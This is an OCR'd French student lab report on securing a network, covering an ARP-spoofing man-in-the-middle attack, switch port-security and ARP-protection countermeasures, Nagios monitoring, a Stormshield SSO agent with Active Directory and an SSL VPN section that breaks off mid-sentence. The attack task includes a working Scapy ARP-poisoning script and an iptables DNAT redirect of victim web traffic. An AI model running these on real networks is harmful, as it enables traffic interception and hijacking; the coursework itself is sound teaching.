Sous-taches Evaluation prof

Installez un forgeur de paquets ARP
Usurpation de I'adresse ARP du serveur
Redirection de la connexion
Modification des données HTML

Rapport

(Expliquez votre attaque, captures d’écrans des installations, de I'usurpation de la connexion et de sa
redirection, code source ou commande de la modification de ’'HTML, etc.)
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Une attaque Man in the Middle (MitM) est une attaque qui vise a se positionner entre 2 machines. Les
possibilités sont nombreuses, on peut usurper I'identité d’une machine, interrompre le lien entre ces 2
machines, etc ... Ici, nous avons réalisé une attaque MitM pour usurper I'identité d’un serveur web. Pour
cela, on (I'Hacker) se place dans le réseau de la DMZ (10.0.0.0/24), la victime est placée dans la DMZ
également.

En premier lieu, la victime a acces au server web via son adresse IP (10.0.0.1). Les pings passent aussi (on
est en local). Pour faire cette attaque, il faut inscrire I'adresse MAC de I’'Hacker dans la table ARP de la
victime pour lui faire croire que je suis le serveur (la machine victime pensera que je suis le serveur). On
fait la méme chose pour le serveur, on lui fait croire que je suis le client et ensuite I'attaque est mise en
place, c’est-a-dire que mon adresse mac est dans la table ARP des 2 machines.

A ce niveau-la, je suis entre les 2 machines, donc les paquets passent par la mienne mais il ne se passe
rien d’autre. Donc s’il doit y avoir une communication, ma machine récupérera les paquets que le client
enverra au serveur, mais elle ne fera rien d’autre avec, donc le serveur n’aura pas la requéte du client. Il
faut activer « IP Forwarding » sur la machine pirate qui va acheminer les paquets de chaque c6té et cela
permettra de mettre en relation le client et le serveur tout en étant I'intermédiaire des 2.

On peut maintenant initier I’attaque. On vérifie avant que la machine victime a accés au serveur avant
I'attaque.

Activités © FirefoxESR ¥ 3avril 14:45

x I

O & =8 10001

Capture d’écran de la page du serveur (avant attaque)

Une fois cela fait, on peut initier I'attaque avec un script écrit par moi-méme ou avec |'outil ettercap
installé par défaut sur kali linux. Ici, je vais utiliser le script suivant :
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#!/usr/bin/env python

from scapy.all import *

VictimIP = '10.0.0.200'

HackerIP ='10.0.0.201"'

ServeurlP ='10.0.0.1"

VictimMAC = getmacbyip(VictimIP)

print(VictimMAC)

HackerMAC ='00:e0:4c:36:46:e3'

print(HackerMAC)

ServeurMAC = getmacbyip(ServeurlP)

print(ServeurMAC)

frameToVictim =
Ether(dst=VictimMAC,src=HackerMAC)/ARP(op=2,hwsrc=HackerMAC,
hwdst=VictimMAC, psrc=ServeurlP, pdst=VictimIP)

frameToServer =
Ether(dst=ServeurMAC,src=HackerMAC)/ARP(op=2,hwsrc=HackerMAC,
hwdst=ServeurMAC, psrc=VictimlIP, pdst=ServeurlP)

frameToVictim.show()
frameToServer.show()

while True:
sendp(frameToVictim, loop=0, inter=1)
sendp(frameToServer, loop=0, inter=1)

Nous avons maintenant inscrit notre adresse MAC dans la table ARP des 2 machines. Nous pouvons
recevoir les communications entre la victime et le serveur. On peut ensuite activer la redirection pour
rediriger la victime vers notre serveur web avec la commande :

Iptables —t nat -A PREROUTING -p tcp —dport 80 -j DNAT —to-destination 10.0.0.201

Syntaxe : Iptables —t nat -A PREROUTING -p tcp —dport 80 -j DNAT —to-destination [machine du Hacker]
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Activités © Firefox ESR ¥ 3avril 14:46

@ | Youjustgottrolled! x |+

c O 8 =W 10001

Capture d’écran du serveur (apreés attaque)

Apreés activation de la redirection, la victime arrive sur la page de I’'Hacker. On peut aussi activer la
redirection « IP Forwarding » pour acheminer les paquets des 2 cotés et faire croire aux machines que le

réseau est normal.

5 avril 09:51

ens3s
"s Fichier Editer yue aller Capture Analyser Statistiques Telephonje wWireless Qutils Aide
mae S ORI N ==l —
http
No. Time

Destination Protocol Length Info
10.0.0.1 HTTP 511 GET / HTTP/1.1

65 4.841526675
7 6839864

o ]
buntu-logo.png HTTP/1.1

377 GET /icon

a.a a.1
8.8 .21 HTTR 552 HTTP/1.1 Not Found (text/heml)
a.a 8.1 HTTR
8.6.1 8.8.2 HTTR K (text/html)
242 24.128213352 18.9.8.200 10.9.0.1 HTTP ntu-logo.png HTTR/1.1
245 24138762692 18.9.8. 18.8.8.208 HTTR 552 HTTP/1.1 484 Wot Found (text/html)

» Frame 74: 779 bytes on wire (6232 bits), 779 bytes captured (6232 bits) on interface ens3s, id 8
» Ethernet L[I, Src: SpeedDra_18:f5:ad (86:13:3b:18:f5:ad), Dst: VMware_8f:24:78 (@:ec:29:8f:24:78)
» Internet Protocol version 4, Src: 10.0.9.1, Dst: 10.0.8.208

» Transmission Control Protocol, Src Part: 89, 56616, Seq: 2897, Ack: 446, Len: 713

+ [2 Reassembled TCP Segments (3609 bytes): #73(2896), #74(713)]

+ Hypertext Transfer Protocol

» Line-based text data: text/html (376 lines)

88 ©c 29 8f 24 78 88 13 3b 18 f5 ad 68 88 45 66 ) 8x H E
02 fd 91 9e 40 00 40 06 91 94 Ga 00 00 01 Ga @0 @a

88 cB 88 58 dd 28 63 fc aB® 3c B9 ea cb 78 80 18 P (c < x
88 40 d7 15 @8 88 81 81 68 Ba d9 ee 63 60 fa a9 (] c

dc 6b 20 e6 fb 2c b9 af of f3 65 75 c2 58 8c @5 k . eu-X
58 6b 53 51 7a d9 4a @a 72 22 24 7f 48 62 bl eb XkSQz 1 r"$ Hb
bf ec 18 63 8b 67 28 d1 4c 18 e7 35 ba cb Sb BB a(- L5

6b a3 78 8¢ 8¢ 1b 6c 74 ab 4a 6¢c 57 76 01 58 60  k x 1t Jlwv-X°
88 b5 b4 bl f9 42 63 a8 18 76 89 18 5a b7 ed 87 Be vz
©a 31 91 Ge 2a 67 87 2e 56 aa 43 15 55 2b 22 87 1-n*g-. V-C-Us"
4f bb fc 43 a5 a6 ce Tb f2 a7 cf 05 d4a 93 81 68 o c { J--h
bc 94 94 ad 63 47 f7 ca 1b 44 f2 01 96 e9 c7 72 c6 o r
3f 3c 13 d8 d3 96 bd d9 e6 38 f5 f3 fe 2a 96 ed  7< a :
2d 88 37 ¢5 ce ca 37 9a 86 b6 82 d9 62 59 94 d7 -7 7 by
33 05 5d 97 ed 82 5b 9a Ge b6 9a 42 d1 W @9 el 3] [ n-BB8

HEHll Frome (775 bytes)  Reassembled TCP (3609 bytes)  Uncompressed entity bady (11882 bytes)
7 Hypertext Transfer Protocol: Protocol Paquets: 258 - Affichés: 8 (3.1%)

Capture d’écran de la capture Wireshark de la requéte http

Sur cette capture on voit que le Hacker récupere le Traffic entre le serveur et la victime.

Profile: Default
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Tache 9 Contre-mesures contre des attaques MiM (6 points)

Liste des personnes impliquées avec pourcentage de répartition
Yanis ZERRAR 50%

Bilal DAKHOUCHE 50 %

Estimation du temps passé sur cette tache en heure-homme : 8h

Objectif : Sécurisation de vos LAN contre le MiM

Proposez et mettez en place une ou plusieurs solutions permettant de détecter et de contrer des attaques
MiM basées sur de I'usurpation ARP sur vos LANs et testez-les avec la tache 9.

Pour la détection vous pouvez utiliser ARP Watch et la tache 11. Pour se protéger des attaques utilisez les
fonctionnalités de votre commutateur.

Sous-taches Evaluation prof

Description de la ou des solutions
Mise en place des solutions de détection
Mise en place de la protection

Rapport

(Expliquez votre méthode, captures d’écrans des tests, etc.)
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Les attaques Man in the middle permettent a un potentiel attaquant d’espionner, de voler des
informations, ou de rediriger les hotes. Il est donc nécessaire de protéger les utilisateurs du réseau en
mettant en place des mesures de sécurité a différentes échelles. Nous avons testé plusieurs mesures de
sécurités que nous expliquerons par la suite.

Sécurisation au niveau du Switch

Il est possible de sécuriser les ports du switch pour n’autoriser qu’une seul adresse MAC pour 1 port
spécifique, avec la commande « switchport port-security maximum 1 ». Pour cela, on s’assure que la
bonne adresse MAC est connectée au port et on limite ensuite le nombre d’adresses MAC autorisées a 1.

Remarque : 11 est nécessaire d’activer le mode acces du port pour que la sécurité du port soit activée.
Dans la capture suivante nous avons autorisé qu’une seule adresse MAC a se connecter, cela signifie que

la premiére machine a se connecter sera la seule autorisée. Si une machine non autorisée essaie de se
connecter, le port se désactivera.

Switch#sh port-security int fa 0/2

Port Security : Enabled
Port Status : Secure-up
Violation Mode : Shutdown
Lging Time : 0 mins
Aging Type 1 Absolute
SecureStatic Address hging : Disakled
Maximum MAC Zddresses HE

Total MAC Addresses 1
Configured MAC Addresses : 1

Sticky MAC Addresses HE Y]

Last Source Address:Vlian : 0000,.0000,0000:0
Security Violation Count Ha

Switch#sh port-security int fa 0/3

Port Security : Enabkled
Port Status : Secure-up
Violation HMode : Shutdown
Lging Time : 0 mins
Lging Type : Absolute
EecureStatic Address hging : Disabkled
Maximum MAC Addresses : 1

Total MAC Addresses HE
Configured MAC Addresses 1

Sticky MAC Lddresses HE

Last Source Address:Vlian : 0000.0000,0000:0
Becurity Violation Count HE Y]
Switch¥|

Capture d’écran d’un exemple de configuration des ports d 'un client et d’'un serveur
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La 2°™ méthode consiste & attribuer une adresse MAC & un port. Elle est plus sécurisante dans la mesure
ou la machine devra avoir la bonne adresse MAC pour étre autorisée sur le réseau. Cela se fait avec la
commande : « switchport port-security mac-address <@MAC> ».

Switch#conf ©

Enter configuration commands, one per line. End with CHTL/Z.
Switch(config) #int fa 0/2

Switch(config-if) #switchport port-security mac-address 0060.2F37.0B37
Found duplicate mac-address 0060.2f37.0b37.

Switch(config-if)#int fa 0/3

Switch(config-if) #switchport port-security mac-address 00D0.D390.4420
Found duplicate mac-address 00d40.d380.a420.

Switch(config—if)#

Capture d’écran d’un exemple de configuration de la sécurité d’un port par attribution d’adresse MAC

Dans le switch, chaque port inutilisé a été désactivé et chaque port utilisé s’est vu attribuer une adresse
mac qu’il autorisera. Cela signifie que les autres adresses MAC ne sont pas autorisées. Une fois cela fait,
un potentiel attaquant ne pourrait pas utiliser les autres ports car ils sont désactivés et les machines déja
présentes sur le switch ne peuvent pas étre remplacées par des attaquants car le switch n’autorise pas une
adresse MAC inconnue. Ici aussi, lorsqu’une adresse MAC non autorisée est détectée, le port se désactive
automatiquement.

La configuration suivante a été mise dans notre switch, elle réalise ce qui a été cité plus haut.
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conft

int fa 1/0/1
switchport port-security mac-address 0800.2753.bd0b
int fa 1/0/2
shutdown
exit

int fa 1/0/3
shutdown
exit

int fa 1/0/4
shutdown
exit

int fa 1/0/5
shutdown
exit

int fa 1/0/6
shutdown
exit

int fa 1/0/7
shutdown
exit

int fa 1/0/8
shutdown
exit

int fa 1/0/9
shutdown
exit

int fa 1/0/10
shutdown
exit

int fa 1/0/12
shutdown
exit

int fa 1/0/13
shutdown
exit

int fa 1/0/14
shutdown
exit

int fa 1/0/15
shutdown
exit

int fa 1/0/16
shutdown
exit

int fa 1/0/17
shutdown
exit

int fa 1/0/18
shutdown
exit

int fa 1/0/19
switchport port-security mac-address 000e.2851.4f06
int fa 1/0/20
shutdown
exit

int fa 1/0/21
shutdown
exit 63
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Une autre solution serait de désactiver I’ARP gratuitous avec la commande : « ip arp gratuitous » ou « ip
arp inspection <VLAN ID> ». Ces commandes permettent de ne pas autoriser les paquets ARP, ainsi
évitant les attaques MitM par empoisonnement ARP. Il sera cependant nécessaire de remplir les table ARP
manuellement dans chaque machines hétes. Cela constituera alors un niveau de securité trés élevé car les
tables ARP constituées manuellement ne seront pas sensibles a des attaque empoisonnement ARP. 1l est a
noter que I’opération peut devenir longue si le nombre d’hétes est €levé. Pour entrer manuellement les
adresses MAC dans la machine héte (sur Linux), il faut saisir la commande : « arp -s <ip_adress>
<MAC_adress> »

Il est également possible de protéger les liaisons IP-MAC avec un utilitaire nommé Tuxcut disponible sur
Linux. Il mémorise les liaisons IP-MAC du réseau pour ensuite s’en servir pour protéger la table ARP de
I’hote. Ainsi, si un attaquant essaie de modifier la table ARP de 1’hote, il ne réussira pas car ’utilitaire
aura meémoriseé les bonnes adresses MAC des machines (avant attaque) et il empéchera toute modifications
si elles ne correspondent pas a sa table.
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On a ici lancé I'utilitaire Tuxcut qui a scanné les hotes et leurs adresses MAC. 11 les mémorise pour
ensuite protéger 1’hdte d’une attaque par empoisonnement ARP.

Activités [ Terminal v 8avril 17:00

bdakhouc@debian-Bilal: ~

bdakhouc@debian-Bilal bdakhouc@debian-Bilal: ~

~$ sudo arp -a
o 16:f5:a4 [ether] on enp@s3
 gateway (10.0.6.254) at 00:0d:b4:17:2b:76 [ether] PERM on enp@s3
9:8f:24:78 [ether] on enpos3

00: 4c:36:46:¢3
04:da:d2:02:€1:40
00:0¢:29:8f:24:78
00:0d:b4:17:2b:76

Capture d’écran de l'utilitaire Tuxcut et de la table ARP de [’héte avant attaque

On test alors la robustesse de cet utilitaire en essayant une attaque Man in the Middle par empoisonnement
ARP.

Activités [ Terminal ¥ 8avril 17:00

bdakhouc@debian-Bilal: ~

bdakhouc@debian-Bilal bdakhouc@debian-Bilal: ~

bdakhouc@debian-Bilal:~$ sudo arp -a
? (10.0.0.1) at 00:13:3b:10:f5:a4 [ether] on enpos3
 gateway (10.0.0.254) at 00:0d:b4:17:2b:76 [ether] PERM on enp@s3
? (10.0.0.201) at 08:0c:2 4:78 [ether] on enpos3
bdakhouc@debian-Bilal:~$ sudo arp -a
? (10.0.0.1) at 00:13:3b:10:f5:ad4 [ether] on enpos3
gateway (10.0.0.254) at :17:2b:76 [ether] PERM on enp0s3
? (10.0.0.201) at 00:0c:29:8f:24:78 [ether] on enps3

s

bdakhouc@debian-Bilal:~

04:da:d2:02:€1:40
00:0¢:29:8f:24:78
00:0:b4:17:2b:76

65



SAE Cyber 4.0 Sécurisation d’un S|
Capture d’écran de I'utilitaire Tuxcut et de la table ARP pendant I’attaque

Apres le début de I’attaque, on attends quelques secondes pour vérifier que la table ARP ne s’actualise
pas. Pour s’assurer que 1’utilitaire était bien fonctionnel, on a affciher la table ARP a deux reprise et a
quelques seconde d’intervalles. Mais ici, il est fonctionnel donc la table ne s’actualisera pas en cas
d’attaque.

Ensuite, on peut vérifier que I’on peut bien modifier la table ARP en désactivant la protection de la table
ARP grace a I'utilitaire (case « Protect my computer » décochée). Puis on affiche la table ARP de
nouveau.

Activités  [2 Terminal ¥ 8avril 17:00

bdakhouc@debian-Bilal: ~

bdakhouc@debian-Bilal bdakhouc@debian-Bilal:

i al:~s sudo arp -a
"1) at 00:13:3b:10:¥5:a4 [other] on enpas3
ay (10.0.0.254) at 00:0d:b4:17:2b:76 [ether] PERM on enpos3
0.0.201) at 00:0c:29:8f:24:78 [ether] on enp@s3
ar ud

0:f5:a4 [ether] on enpes3

:17:2b:76 [ether] PERM on enp0s3
78 [ether] on enpos3

on enpos3

d: b
0.0. 291) at 00:6c:29:af:24:78 [ether] on enpes3

ebian-Bila

04:da:d2:02:€1:40
00:0¢:29:81:24:78
00:0d:b4:17:2b:76

Capture d’écran de ['utilitaire Tuxcut et de la table ARP apres déactivation de la protection

Comme on peut le voir sur la capture ci-dessus, la désactivation de la protection qu’offre 1’utilitaire
permet a nouveau a un attaquant de modifier la table ARP. Cet utilitaire permet par ailleur de voir les
adresses MAC des hotes du réseau, il est donc efficace comme outil de supervisation du réseau dans la
musure ou il connait les vraies adresses MAC des hotes car il ne s’appuie pas sur la table ARP de I’héte.
On peut donc comparer la table ARP de Tuxcut et celle de 1’hdte pour détecter des incohérences.
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Tache 10 Supervision du réseau (3,75 points)

Liste des personnes impliquées avec pourcentage de répartition
Nicolas RABERGEAU 50 %

Yanis ZERRAR 50 %

Estimation du temps passé sur cette tache en heure-homme : 8h

Objectif : Mettre en place les outils de supervision de réseau Nagios et Cacti

Pour cette tache, nous vous laissons une plus grande autonomie, a vous de nous proposer ce que vous
pensez utile de monitorer dans votre réseau.

Nous vous donnons quand méme quelques pistes par exemple, de monitorer toutes les machines et tous
les services que vous avez installés, installer NCPA, les débits en entrée du firewall, générer des rapports,
etc.

Sous-taches Evaluation prof

Installation et configuration
Mise en place de la supervision
Génération de rapports

Rapport

(Expliquez votre méthode, captures d’écrans des tests, etc.)
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Nous avons réussi I'installation des outils de supervision. Néanmoins, nous n’avons pu que superviser le
localhost sans pouvoir superviser le réseau. Les plugins, le sntp et la configuration du Firewall peuvent
expliquer le probleme rencontré.

[SemP ol ::

arbre Default Tree x| [X] Nagios: o

€ C @ locatho * = @

1 Mail Z Uni Mail " Moodle ENT Netcad W3 @ NovelAl @ ChatGPT = DALLE ANSSI Skidr: .Y - 3rb IGG A CW @ TempPhone dJ TikTok @ Proxmox ® Twitch % NM All Bookmarks

Nagios’ ﬂagios‘@
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Tactical Overview Nagios® Core™
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History
Summary
Histogram (Legacy) Latest News Don't Miss...
Notifications
Event Log
System
Comments
Downtime

Process Info
Performance Info
Scheduling Queue
Configuration

Page Tour

Copyright © 2010-2023 Nagios Core Development Team and Community Contributors. Copyright © 1999-2009 Ethan Galstad. See the THANKS file for more information
on contributors

SemP ol - L=

Mode arbre Default Tr

<« C O Ll Q W vV = @ (J ©

1Mail 2 UniMail nMoodle ' ENT  Netcad v W3 @ NovelAl @ ChatGPT = DALLE  ANSSI .. Skidrow . YIFY * YT . Game3rb \ CW @ TempPhone ¢ TikTok @ Proxmox ® Twitch W NM » [ All Bookmarks
Console | Graphiques | Rapport | Logs ! * A
Mode arbre  Default Tree (Local Linux Machine) Authentifié comme admin
Rechercher Filtres des graphiques

A [T) Defautt Tree Tous les 4 Graphiques

o [arbre : Default Tree-> Machine : Local Linux Machine
-8} Local Linux Mac A Local Linux Machine - Load Average

o

% " Local Linux Machine - Logged in Users
70 E
L 35
60 ‘
§ & 30
50 i v , L
8 a0 - 25 z z
% s 8§ ow : 2
20 | Lo L o | ‘
W—= U w ! s
09 — 08
1500 1600 1700 i
10300 i) 1200 1300 1400 1500 16500 7%
o s s 2024-04-08 09300100 To 2024-04-08 15300100
~ e [} : A taxir
=
s Locs) Lo Macting s Memory, Usage o (3 Local Linux Machine - Processes #
< wc[ @
g %0 r
3 e |2 v
H B | = v
F i
10 -
N e : e e 1100 200 1500 1600 1700
L i A 24 From 09:00:0 15100100
1,0 .
it B Running Processesss  Averag: 33 Maxima 1

fous les 4 Graphiques




SAE Cyber 4.0 Sécurisation d’un S|

Tache 11 Mise en place d’une architecture Single Sign-On (9 points)

Liste des personnes impliquées avec pourcentage de répartition
Yansi ZERRAR 100 %

Estimation du temps passé sur cette tache en heure-homme : 30h

Objectif : Permettre aux clients de passer le proxy sans authentification explicite
L'authentification par la méthode agent SSO Active Directory Agent SSO
permet d’authentifier les utilisateurs des
I'ouverture d’une session sur le domaine, elle se
déroule en 3 étapes.

Interroge

L’ouverture de session du client sur le domaine va Authentification

générer un éveénement d’authentification répliqué
sur I'ensemble des controleurs de domaine Active
Directory d’un méme domaine. Ces évenements
portent les ID 4624 ou 4768 sur les serveurs
Windows 2008, 2012 et 2016. Client

Transparente

L'agent SSO va ensuite consulter les journaux d’événements du contréleur de domaine. Sur réception d’un
nouvel événement, les informations liées a I’adresse IP et au nom du client sont transmises au firewall afin
de les ajouter a la table des utilisateurs authentifiés.

Les échanges entre I'agent et le firewall utilisent le port 1301/TCP et sont chiffrés grace au protocole SSL,
algorithme PSK-AES256-CBC-SHA.

L’authentification doit étre robuste au changement de I'adresse IP de la machine client.

Sous-taches Evaluation prof
Installation d’un serveur Active Directory
Installation d’un agent SSO sur une machine
Configuration de la machine de client
Changement de I'adresse IP de la machine
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Pour mettre en place I’Agent SSO avec Active Directory, j'ai utilisé 2 VM : 1 Windows
Server 2022 et 1 Windows 10 hébergées sur mon PC car Proxmox n’étant pas accessible
depuis la salle 204, la configuration en VM local dans le réseau déja configuré était +
simple.

Un serveur Active Directory et DNS a été configuré pour permettre de relier I’Agent SSO

au firewall :
& n] - Oracle VM V

Fichier Machine Ecran Entrée Périphériques Aide

e Server Manager

Server Manager * Dashboard @I P vorage Toor  view

& Dashboard WELCOME TO SERVER MANAGER

I s Task Details
All S -
AR Al Servers 0 Configure this local server
i§ AD DS 7
& DNS QUICK START

§ File and Storage Services b Add r¢ d features

LEARN MORE

ROLES AND SERVER GROUPS
Roles:3 | Servergroups:1 | Servers total: 1
i File and storage

il ADDs 2 DNS 1 ;
= Services

@® Manageability Manageability @® Manageability
Events Events Events
Services Services Services
Performance Performance Performance

BPA results BPA results BPA results

§ Local Server 1 #i Al servers 1
[ 10

O Type here to search i @ - @y A B

B 0T ¢ marTS @K cr oror

Par la suite, un utilisateur configuré pour étre connecté en tant que Service a été
configuré au nom de AgentSSO :

] Active Directory Users and Computers - 0 X
File Action View Hel =
v on MW T | Active Directory Users and Computers - m] X
- o @R . B -
€9 LE‘D ERCE ﬁ‘!«!ﬁ iTEa File Action View Help
‘: Active Directory Users and Com| | Name Type Descript] = S 2FEECRE BRI VaETER
= Sived Qlines E)Administrator User Buitt-in { ] Active Directory Users and Com|| Name Type Description
vH Sae';’?lt' ® Agentss0  User il Saved Queries JEWINCUENT  Computer
uittin i sae.
o %Allowed RO... Security Group... Membei Yile e,
| Computers | Buittin
3 N 8% Cert Publish... Security Group... Membes i

A propos de

Votre ordinateur est surveillé et
protégé.

Voir les détails dans la sécurité Windows

| B PR Spéﬁﬁcaiions de I'appareil
A Expériences partagées Nom de I'appareil

Nom complet de I'appareil
B Composants systéme Processeur

Presse-papiers Mémoire RAM instaliée
1D e périphérique
Bureau 3 distance
1D de produit
Fonctionnalités facultatives Type du systéme

Stylet et fonction tactile

A propos de
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Tache

Apres l'installation de I’Agent SSO sur la machine, on I’active pour que le service démarre
automatiquement :

Fichier Action Affichage ?
& |FEa= Hm > 8 nw
_. Services (local) . Services (local) o
i 2 < . irun i
Stormshield SSO AGENT Propriétés de Stormshield SSO AGENT (Ordinateur local) X gpemege Ouviirune sessianentantgue
éclenche... Service local
Arréter le service PR : TR g 3 :
Inesro wore fesenice Général Connexion Récupération Dépendances éclenche... Systéme local
Interrompre .
Redémarrer le service y Service local
(IR TR Rl Stormshield SSO AGEN Senvice réscail
Nom complet : Stormshield SSO AGENT ue Service réseau
Systéme local
Description : < 3
Service réseau
ue Systéme local
Chemin d'acces des fichiers exécutables : ue Service réseau
"C:\Program Files (x86)\Stormshield\Stormshield SSO Agent'stormshieldsso: 5
Systéeme local
Type de démamage Automatique v jue SAE\AgentSSO
Systéme local
ue Systéeme local
jue Service local
Etat du service :  En cours d'exécution Eclenche... Systéme local
Service réseau
Démamer Améter Suspendre | Reprendre Service réseau
3 2 & e : é he... ice local
Vous pouvez spécifier les paramétres qui s'appliquent au démamrage du Eclenche Serv!ce oca
service. ue Systéme local
éclenche.. Systeme local
de démarrage y
' Systéeme local
éclenche.. Service local
Eclenche... Service local
Service local
Arcader Aopliquer Systéme local
Systéme local
£} Windows Search Fournitdes.. Enco.. Automatique (débu.. Systéme local
;,C;?;Windows Update Active la dé... Manuel (Déclenche... Systéme local
N I O AN T s Vaz X SRS P il SRl L
® FW_A@192.168.1.254 Administr X | 4
S (@) A Not secure | https//192.168.1.254/admin/admin.htmi#ldapmodule
FW_A § admin
¥% STORMSHIELD st2tow sz 5.
FP Accés complet aux logs (données personnelles)
z Adeznous 8 Tischargez si
@ CONFIGURATION DES ANNUAIRES
- 2
'ONFIGURATION =. ANNUAIRES CONFIGURES (5 MAXIMUM)
AT # Ajouter un annuaire = Action v STRUCTURE
@ reseau Domain name
@ iut fwb Annuaire distant
OBJETS
© B saesso - . :
Q UTILISATEURS - [¥] Activer l'utilisation de I'annuaire utilisateur
@ Utiisateurs Serveur: AD_Server
® Comptes temporaires Port \dap
@ Drois d'accés Domaine racine (Base Dn): | dc=sae dc=sso
@ Authentification Identifiant: cn=Administrator,cn=Users
® Enrdlement Motde passe:
® Configuration des annuaires
© OBJETS RESEAU <7 Connexion sécurisée (SSL)
A UTILISATEURS ET GROUPES
| SUPERVISION <7 Configuration avancée
Rechercher.
@ Matériel / Haute Disponibilité
® Systeme
@ |Interfaces
® Qos
® Machines
® Utilisateurs
@® Connexions
® Routage
® DHCP pliquer 2 Annuler
R Type here to search
Configuration de I'annuaire Active Directory dans le Stormshie
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w AUTHENTIFICATION I
THODES DISPONISLES PORTAILCAFTIF  PROFILS DU PORTAIL CAPTIF
Recherche par utilisateur. 4 Nouvelle régle~ €3 Supprimer | 71 J Descendre | (;{) Couper @ Copier
Etat Source Méthodes (évaluées par ordre) Commentaire
1 @ Activé SU Any user@saesso| [§ any A Agent SSO

SSL

Regle d’authentification de I’Agent SSO sur le Stormshield

# FW_A@192.168.1.254 Administr X | + _

& O A Notsecure | https://192.168.1.254/admin/admin.html#monitor_user A S 2 )

906

Aldez-nous 8 amedlorer I'application | Telachargez SN Real-Time Monitor

FW_A § admin

* STORMSHIELD SN210W 3.11.20 P Lecture/Ecriture

FP Accés complet aux logs ées personnelles]

UTILISATEURS
[l SN-550-AGENT i R B
@ CONFIGURATION ¥ Aucunfitre prédéfini | v @ Filtrer v 3 Réinitialiser | @ Actualiser | =3 Exporferlesrésultats | Configurer I'authentification Réinitialiser
o1 §
Rechercher. =] T | Nom Annuaire Adresse IP Groupe D...  Méthoded... Administrateur Parrain VPN SSL Portail VPN S8
-] R :
O RESEAU @ 4 fihh iut fwb 87.10.10.129 3h... PLAIN
Z 4fhh iut fwb 192.168.1.169 2h.. PLAIN
@ osiETS 5]
s 2 agentsso sae.sso 192.168.1.221 eventlog... Sh.. AGENT-AD v
@U'”USATEURS ;E 4 agentsso sae.sso 192.168.1.222 eventlog... 9h.. AGENT-AD v
=
® Utilisateurs A
[}
@® Comptes temporaires E:
® Droits d'accés
® Authentification
® Enrdlement
® Configuration des annuaires -

B OBJETS RESEAU + M

4 »
Dans les logs, nous voyons que I'agent SSO est connecté et ce méme apres un
changement d’adresse IP.

[~
7 stormshieldssoagent - Bloc-notes - X
Fichier Edition Format Affichage Aide

2024-04-10701: 192.168.1.144: EvtQuery failed. Error 1722. To connect to the remote computer, the remote computer must
2024-04-10T09: STORMSHIELD SSO AGENT 2.1.1.@ release_07/01/2022 15:03 loaded

2&24704-10T99: STORMSHIELD SSO AGENT 2.1.1 starting...

2024-04-10T09: : STORMSHIELD SSO AGENT 2.1.1 started

2024-04-10T09: 192.168.1.144: No logon found since 15 minutes for 192.168.1.144

2024-04-10T18: 192.168.1.144: No logon found since 15 minutes for 192.168.1.144

2024-04-10T19: : 192.168.1.144: No logon found since 15 minutes for 192.168.1.144

2024-04-10T19: 192.168.1.144: No logon found since 15 minutes for 192.168.1.144

2024-04-10T19: 192.168.1.144: EvtQuery failed. Error 1722. To connect to the remote computer, the remote computer must
2024-04-10T19: [UtmConnect] ::ffff:192.168.1.254: connection initiated

2024-04-10720: 192.168.1.144: No logon found since 15 minutes for 192.168.1.144

2024-04-10720: : 192.168.1.144: No logon found since 15 minutes for 192.168.1.144

2024-04-10720: STORMSHIELD SSO AGENT 2.1.1 stopping...

2024-04-10T20: STORMSHIELD SSO AGENT 2.1.1 stopped

2024-04-10720: [UtmConnect] ::ffff:192.168.1.254: disconnected
2024-04-10720: STORMSHIELD SSO AGENT 2.1.1.8 release_07/01/2022 15:03 loaded
2024-04-10720: : STORMSHIELD SSO AGENT 2.1.1 starting...

2024-04-10T20: STORMSHIELD SSO AGENT 2.1.1 started

2024-04-10720:
2024-04-10T20:
2024-04-10T20:
2024-04-10T20:
2024-04-10720:
2024-04-10T20:
2024-04-10T20:
2024-04-10T20:
2024-04-10720:
2024-04-10T20:
2024-04-10T20:
2024-04-10T20:
2024-04-10720:
2024-04-10720:
2024-04-10T20:
2024-04-10T20:

192.168.1.144: No logon found since 15 minutes for 192.168.1.144

: [UtmConnect] ::ffff:192.168.1.254: connection initiated

192.168.1.144: SN210W17C2178A7: initial rules: 1: pass: any on (0.0.0.8/8)

[UtmConnect] ::ffff:192.168.1.254: disconnected

192.168.1.144: EvtQuery failed. Error 1722. To connect to the remote computer, the remote computer must
192.168.1.144: New logon send to SN210W17C2178A7: 2024-04-10720:18:31: user: SAE\AgentSSO from 192.168.1
: 192.168.1.144: New logon send to SN21@W17C2178A7: 2024-04-10T20:20:11: user: SAE\AgentSSO from 192.168.1
192.168.1.144: EvtQuery failed. Error 1722. To connect to the remote computer, the remote computer must
192.168.1.144: Logoff send to SN21@W17C2178A7: 2024-04-10T20:27:20 : user: SAE\AgentSSO from 192.168.1.2
192.168.1.144: New logon send to SN210W17C2178A7: 2024-04-10720:20:11: user: SAE\AgentSSO from 192.168.1
[UtmConnect] ::ffff:192.168.1.254: connection initiated

192.168.1.144: SN210W17C2178A7: initial rules: 1: pass: any on (0.0.0.0/0)

192.168.1.144: New logon send to SN210W17C2178A7: 2024-04-10T20: 11: user: \AgentSSO from 192.168.1.22
192.168.1.144: New logon send to SN21@W17C2178A7: 2024-04-10T720:18:31: user: \AgentSSO from 192.168.1.22
1 192.168.1.144: New logon send to SN21@W17C2178A7: 2024-04-10T20:20:11: user: \AgentSSO from 192.168.1.22
: 192.168.1.144: New logon send to SN21@W17C2178A7: 2024-04-10T20:18:31: user: \AgentSSO from 192.168.1.22

Ln1, Col1 100%  Windows (CRLF) UTF-8
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Tache 12 Configuration d’un VPN SSL pour clients distants (6 points)

Liste des personnes impliquées avec pourcentage de répartition
Fatih KURUL 100 %

Estimation du temps passé sur cette tache en heure-homme : 20h

Objectif : Mettre en place un VPN SSL sur le site A pour le client du site B

Mettre en place un VPN SSL complet en utilisant un client OpenVPN pour Linux et le client Stormshield
pour Windows.

Sous-taches Evaluation prof

Configuration d’un annuaire

Génération d’un certificat

Mettre en place les régles de filtrage et de NAT
Configuration du service VPN SSL sur le Stormshield
Installation et paramétrage des clients

Tests de connexion

Rapport

(Captures d’écrans de la configuration Stormshield et des clients, etc.)
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Le VPN SSL permet a des utilisateurs distants d’accéder de maniére sécurisée a des ressources internes
en passant par le firewall SNS.

Pour qu'un tunnel VPN SSL puisse s'établir avec le firewall SNS, un client VPN SSL doit étre installé
sur la machine de l'utilisateur.

Les communications entre le firewall SNS et 1’utilisateur sont alors encapsulées et protégées via un
tunnel TLS chiffré. L’ établissement de ce tunnel est basé sur la présentation de certificats serveur et
client signés par une autorité de certification de confiance (CA). Cette solution garantit donc
